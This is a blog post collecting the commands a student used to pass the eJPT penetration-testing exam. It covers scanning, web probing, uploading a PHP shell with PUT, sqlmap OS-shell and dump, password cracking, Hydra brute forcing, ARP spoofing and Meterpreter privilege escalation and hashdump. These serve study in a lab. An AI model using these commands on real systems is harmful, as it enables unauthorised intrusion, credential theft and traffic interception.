Having recently completed the eLearnSecurity Junior Penetration Tester (eJPT) certification, I decided to write this post detailing the commands and techniques I used to pass. The hope is that this resource can be helpful to other student studying for this certification. For my full thoughts on this certification in the form of a review, check out my other post titled eLearnSecurity Junior Penetration Tester (eJPT) – Course Review.
The caveat here is that not all of these commands will be necessary in the exam, and there may be commands missing that are. These are simply the ones that I personally found useful when studying and taking the exam. Your experience may vary. I’d also highly recommend anyone taking the exam be able to understand exactly what each command is doing, and when you would use them given a certain scenario. Essentially what I am saying here is to not use this as a ‘be all, end all’ when it comes to the eJPT, and to do your own study/research. If you don’t cut corners and study the PTS course content, videos and labs then you will be fine.
To use these commands, make sure to:
Replace ‘10.10.10.10’ with the relevant IP address
Replace ‘port’ with the relevant port number
Replace /path/to/x with the relevant path to the relevant file
One thing I am almost sure you will have to do is set up IP routing and routing tables. There are plenty of resources available online for this, but the course content itself seemed to be pretty lacking here. If you read through my accompanying post, you’ll know that I didn’t pay for the videos or labs, so I can’t comment on how well routing is explained in the full version of the PTS, but this is probably the thing that I had the most trouble configuring.
ip route add ROUTETO via ROUTEFROM
Anyone experienced in penetration testing will tell you that enumeration is 90% of the battle, and I don’t disagree. Although the eJPT doesn’t require a very in depth enumeration cycle, it does cover a broad number of techniques.
fping -a -g 10.10.10.0/24 2>/dev/null nmap -sn 10.10.10.0/24
nmap -Pn -O 10.10.10.10
Nmap Scan (Quick)
nmap -sC -sV 10.10.10.10
Nmap Scan (Full)
nmap -sC -sV -p- 10.10.10.10
Nmap Scan (UDP Quick)
nmap -sU -sV 10.10.10.10
The following commands could be useful when enumerating and attacking web applications. Again, make sure you understand what each one does rather than blindly throwing them at the machine in question.
nc -v 10.10.10.10 port HEAD / HTTP/1.0
OpenSSL for HTTPS services
openssl s_client -connect 10.10.10.10:443 HEAD / HTTP/1.0
httprint -P0 -h 10.10.10.10 -s /path/to/signaturefile.txt
GET, POST, HEAD, PUT, DELETE, OPTIONS
Use the OPTIONS verb to see what other verbs are available
nc 10.10.10.10 80 OPTIONS / HTPP/1.0
You can use HTTP verbs to upload a php shell. Find the content length, then use PUT to upload the shell. Make sure you include the size of the payload when using the PUT command.
wc -m shell.php x shell.php PUT /shell.php Content-type: text/html Content-length: x
Directory and File Scanning
My preferred tool at the moment is dirsearch, I find it to to be fast and easy to use. For a more in depth scan, use gobuster and include a large wordlist.
dirsearch.py -u http://10.10.10.10 -e * gobuster -u 10.10.10.10 -w /path/to/wordlist.txt
Advanced Google Searches
Not really necessary, but useful to know all the same.
site: intitle: inurl: filetype: AND, OR, &, |, -
Cross Site Scripting (XSS)
The general steps I use to find and test XSS are as follows:
Reflected XSS = Payload is carried inside the request the victim sends to the website. Typically the link contains the malicious payload
Persistent XSS = Payload remains in the site that multiple users can fall victim to. Typically embedded via a form or forum post
sqlmap -u http://10.10.10.10 -p parameter sqlmap -u http://10.10.10.10 --data POSTstring -p parameter sqlmap -u http://10.10.10.10 --os-shell sqlmap -u http://10.10.10.10 --dump
The other type of ‘attack’ you will be doing are system attacks. Make sure you understand why/how to brute force types of services and hashes, as well as basic metasploit usage.
This prepares a file for use with John the Ripper
unshadow passwd shadow > unshadow
john -wordlist /path/to/wordlist -users=users.txt hashfile
Brute Forcing with Hydra
replace ‘ssh’ with any relevant service
hydra -L users.txt -P pass.txt -t 10 10.10.10.10 ssh -s 22 hydra -L users.txt -P pass.txt telnet://10.10.10.10
Windows Shares Using Null sessions
nmblookup -A 10.10.10.10 smbclient -L //10.10.10.10 -N (list shares) smbclient //10.10.10.10/share -N (mount share) enum4linux -a 10.10.10.10
echo 1 > /proc/sys/net/ipv4/ip_forward arpspoof -i tap0 -t 10.10.10.10 -r 10.10.10.11
Metasploit is a very useful tool for penetration testers, and I’d recommend going through a Metasploitable for an effective, hands on way to learn about Metasploit. There are plenty of guides and walkthroughs available to learn from. Doing even part of a Metasploitable box will more than prepare you for the Metasploit usage required here.
Basic Metasploit Commands
search x use x info show options, show advanced options SET X (e.g. set RHOST 10.10.10.10, set payload x)
The below are some handy commands for use with a Meterpreter session. Again, I’d recommend going through a Metasploitable or doing some extra study here.
background sessions -l sessions -i 1 sysinfo, ifconfig, route, getuid getsystem (privesc) bypassuac download x /root/ upload x C:\\Windows shell use post/windows/gather/hashdump